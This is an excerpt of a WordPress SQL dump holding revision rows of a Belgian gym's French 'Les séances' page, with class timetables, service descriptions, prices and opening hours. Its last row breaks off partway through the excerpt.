(164, 1, '2013-07-03 16:27:40', '2013-07-03 16:27:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:27:40', '2013-07-03 16:27:40', '', 11, 'http://www.crosstrainingcenter.be/?p=164', 0, 'revision', '', 0),
(167, 1, '2013-07-03 16:30:33', '2013-07-03 16:30:33', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:30:33', '2013-07-03 16:30:33', '', 11, 'http://www.crosstrainingcenter.be/?p=167', 0, 'revision', '', 0);
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(168, 1, '2013-07-03 16:32:37', '2013-07-03 16:32:37', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr 